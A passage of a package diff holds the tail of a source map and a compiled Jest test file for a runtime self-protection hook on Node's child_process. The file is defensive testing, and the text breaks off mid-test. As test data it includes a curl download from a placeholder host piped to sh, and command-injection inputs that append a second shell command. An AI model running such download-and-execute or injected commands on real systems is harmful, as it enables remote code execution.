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"}

package/dist/rasp/__tests__/process-hook.test.d.ts

@@ -0,0 +1 @@
+export {};

package/dist/rasp/__tests__/process-hook.test.js

@@ -0,0 +1,238 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * child_process hook: every process API is checked before the process
+ * starts, a block never reaches the original function, failures let the call
+ * through, and uninstall restores the module exactly. Drafted with ChatGPT,
+ * adapted to the engine. Only harmless commands run here (node -e exit, echo).
+ */
+const cp = require("child_process");
+const nodeModule = require("module");
+const util_1 = require("util");
+const context_1 = require("../context");
+const engine_1 = require("../engine");
+const process_1 = require("../hooks/process");
+const types_1 = require("../types");
+const node = process.execPath;
+const argv = ['-e', 'process.exit(0)'];
+const nodeLine = `"${node}" -e "process.exit(0)"`;
+const req = (value) => ({ value, key: 'query.q', source: 'request' });
+const inRequest = (inputs, fn) => (0, context_1.runWithInputs)(inputs, fn, { inRequest: true });
+const events = [];
+function setMode(mode, attacks = {}, commands = []) {
+    (0, engine_1.configureEngine)({ enabled: true, applicationName: 'orders-api', mode, attacks, allow: { commands }, env: {} });
+    (0, engine_1.setEventSink)({ add: (e) => events.push(e) });
+}
+const originals = new Map(process_1.PROCESS_APIS.map((api) => [api, Object.getOwnPropertyDescriptor(cp, api)]));
+const call = (api, values) => Reflect.apply(cp[api], cp, values);
+beforeEach(() => {
+    events.length = 0;
+    setMode('block');
+});
+afterEach(() => {
+    (0, process_1.uninstallProcessHooks)();
+    jest.restoreAllMocks();
+});
+afterAll(() => {
+    (0, engine_1.setEventSink)(undefined);
+    (0, engine_1.configureEngine)({ enabled: false, applicationName: 'default', env: {} });
+});
+describe('processTarget', () => {
+    it.each([
+        ['exec', [nodeLine], { command: nodeLine }],
+        ['execSync', [nodeLine, {}], { command: nodeLine }],
+        ['spawn', [node], { argv: [node] }],
+        ['spawn', [node, argv, {}], { argv: [node, ...argv] }],
+        ['spawnSync', [node, {}], { argv: [node] }],
+        ['execFile', [node, argv, () => undefined], { argv: [node, ...argv] }],
+        ['execFileSync', [node, argv], { argv: [node, ...argv] }],
+        ['spawn', [node, argv, { shell: true }], { command: `${node} -e process.exit(0)` }],
+        ['execFile', [node, argv, { shell: '/bin/sh' }], { command: `${node} -e process.exit(0)` }],
+        ['spawn', [node, argv, { shell: false }], { argv: [node, ...argv] }],
+        ['fork', ['./worker.js', ['a']], { argv: [node, './worker.js', 'a'] }],
+        ['fork', ['./worker.js', { shell: true }], { argv: [node, './worker.js'] }],
+        ['fork', ['./worker.js', [], { execPath: '/bin/sh' }], { argv: ['/bin/sh', './worker.js'] }],
+    ])('%s %j', (api, values, expected) => {
+        expect((0, process_1.processTarget)(api, values)).toEqual(expected);
+    });
+    it('leaves arguments Node would refuse to Node', () => {
+        expect((0, process_1.processTarget)('spawnSync', [null])).toBeNull();
+        expect((0, process_1.processTarget)('exec', [42])).toBeNull();
+        expect((0, process_1.processTarget)('spawn', [node, [1, 2]])).toBeNull();
+    });
+    it('copies the caller argv', () => {
+        const args = [...argv];
+        const t = (0, process_1.processTarget)('spawn', [node, args]);
+        t.argv.push('extra');
+        expect(args).toEqual(argv);
+    });
+});
+describe('detectProcess', () => {
+    it('checks a shell command line for injection', () => {
+        expect((0, process_1.detectProcess)({ command: 'echo ok; echo rasp-test' }, [req('ok; echo rasp-test')], true, [])?.rule).toBe('cmdi.userinput');
+    });
+    it('checks the script of sh -c', () => {
+        expect((0, process_1.detectProcess)({ argv: ['sh', '-c', 'echo ok; echo rasp-test'] }, [req('ok; echo rasp-test')], false, [])?.rule).toBe('cmdi.userinput');
+    });
+    it('flags an executable taken from the request', () => {
+        expect((0, process_1.detectProcess)({ argv: ['uptime'] }, [req('uptime')], true, [])?.rule).toBe('cmdi.executable');
+    });
+    it('flags a shell started during a request unless allowed', () => {
+        expect((0, process_1.detectProcess)({ argv: ['/bin/bash', '--version'] }, [], true, [])?.rule).toBe('shell_spawn.shell');
+        expect((0, process_1.detectProcess)({ argv: ['/bin/bash', '--version'] }, [], true, ['bash'])).toBeNull();
+        expect((0, process_1.detectProcess)({ argv: ['/bin/bash', '--version'] }, [], false, [])).toBeNull();
+    });
+    it('flags a download piped to a shell at any time', () => {
+        expect((0, process_1.detectProcess)({ command: 'curl -s https://example.invalid/i | sh' }, [], false, [])?.rule).toBe('shell_spawn.download_exec');
+    });
+    it('passes a fixed command with unrelated input', () => {
+        expect((0, process_1.detectProcess)({ command: nodeLine }, [req('report.pdf')], true, [])).toBeNull();
+        expect((0, process_1.detectProcess)({ argv: [node, ...argv] }, [req('report.pdf')], true, [])).toBeNull();
+    });
+});
+describe('installed hook', () => {
+    const injected = { exec: ['echo ok; echo rasp-test'], execSync: ['echo ok; echo rasp-test'] };
+    it.each(['exec', 'execSync'])('%s: block never invokes the original', (api) => {
+        const original = jest.spyOn(cp, api);
+        (0, process_1.installProcessHooks)();
+        const err = inRequest([req('ok; echo rasp-test')], () => {
+            try {
+                call(api, [...injected[api]]);
+            }
+            catch (e) {
+                return e;
+            }
+        });
+        expect(err).toBeInstanceOf(types_1.RaspBlockedError);
+        expect(err.rule).toBe('cmdi.userinput');
+        expect(original).not.toHaveBeenCalled();
+        expect(events[0].attrs['shield360.rasp.sink']).toBe(`child_process.${api}`);
+        expect(events[0].attrs['shield360.rasp.decision']).toBe('blocked');
+    });
+    it.each(['spawn', 'spawnSync', 'execFile', 'execFileSync'])('%s: a shell spawned in a request is blocked', (api) => {
+        const original = jest.spyOn(cp, api);
+        (0, process_1.installProcessHooks)();
+        expect(() => inRequest([], () => call(api, ['/bin/sh', ['-c', 'exit 0']]))).toThrow(types_1.RaspBlockedError);
+        expect(original).not.toHaveBeenCalled();
+    });
+    it('fork: a shell as execPath is blocked in a request', () => {
+        const original = jest.spyOn(cp, 'fork');
+        (0, process_1.installProcessHooks)();
+        expect(() => inRequest([], () => cp.fork('./worker.js', [], { execPath: '/bin/sh' }))).toThrow(types_1.RaspBlockedError);
+        expect(original).not.toHaveBeenCalled();
+    });
+    it('monitor reports and lets the process run', () => {
+        setMode('monitor');
+        (0, process_1.installProcessHooks)();
+        const out = inRequest([req('ok; echo rasp-test')], () => cp.execSync('echo ok; echo rasp-test').toString());
+        expect(out).toBe('ok\nrasp-test\n');
+        expect(events).toHaveLength(1);
+        expect(events[0].attrs['shield360.rasp.decision']).toBe('monitored');
+    });
+    it('runs harmless processes in and out of requests', () => {
+        (0, process_1.installProcessHooks)();
+        expect(cp.spawnSync(node, argv).status).toBe(0);
+        expect(inRequest([req('report.pdf')], () => cp.spawnSync(node, argv).status)).toBe(0);
+        expect(events).toHaveLength(0);
+    });
+    it('honours allow.commands', () => {
+        setMode('block', {}, ['sh']);
+        (0, process_1.installProcessHooks)();
+        expect(inRequest([], () => cp.spawnSync('/bin/sh', ['-c', 'exit 0']).status)).toBe(0);
+    });
+    it('does nothing while RASP is off', () => {
+        (0, engine_1.configureEngine)({ enabled: false, applicationName: 'a', env: {} });
+        (0, process_1.installProcessHooks)();
+        expect(inRequest([req('ok; echo rasp-test')], () => cp.execSync('echo ok; echo rasp-test').toString())).toBe('ok\nrasp-test\n');
+        expect(events).toHaveLength(0);
+    });
+    it('an attack type set to off is not checked', () => {
+        setMode('block', { shell_spawn: 'off' });
+        (0, process_1.installProcessHooks)();
+        expect(inRequest([], () => cp.spawnSync('/bin/sh', ['-c', 'exit 0']).status)).toBe(0);
+    });
+    it('leaves invalid arguments to Node', () => {
+        (0, process_1.installProcessHooks)();
+        // Node's own error (from Node's realm, so matched by message, not class).
+        expect(() => call('spawnSync', [null])).toThrow(/"file" argument must be of type string/);
+        expect(events).toHaveLength(0);
+    });
+    it('promisify(exec) keeps output and child, and cannot skip the check', async () => {
+        (0, process_1.installProcessHooks)();
+        const pending = (0, util_1.promisify)(cp.exec)(nodeLine);
+        expect(pending.child).toBeDefined();
+        await expect(pending).resolves.toEqual({ stdout: '', stderr: '' });
+        (0, process_1.uninstallProcessHooks)();
+        const original = jest.spyOn(cp, 'exec');
+        (0, process_1.installProcessHooks)();
+        await expect(inRequest([req('ok; echo rasp-test')], () => (0, util_1.promisify)(cp.exec)('echo ok; echo rasp-test'))).rejects.toBeInstanceOf(types_1.RaspBlockedError);
+        expect(original).not.toHaveBeenCalled();
+    });
+});
+describe('several findings for one call', () => {
+    // Both fire: the input spans tokens (command_injection) and the command starts a shell (shell_spawn).
+    const line = 'bash -c true ok; echo rasp-test';
+    it.each(['off', 'monitor'])('a command injection set to %s does not hide a shell_spawn block', (cmdi) => {
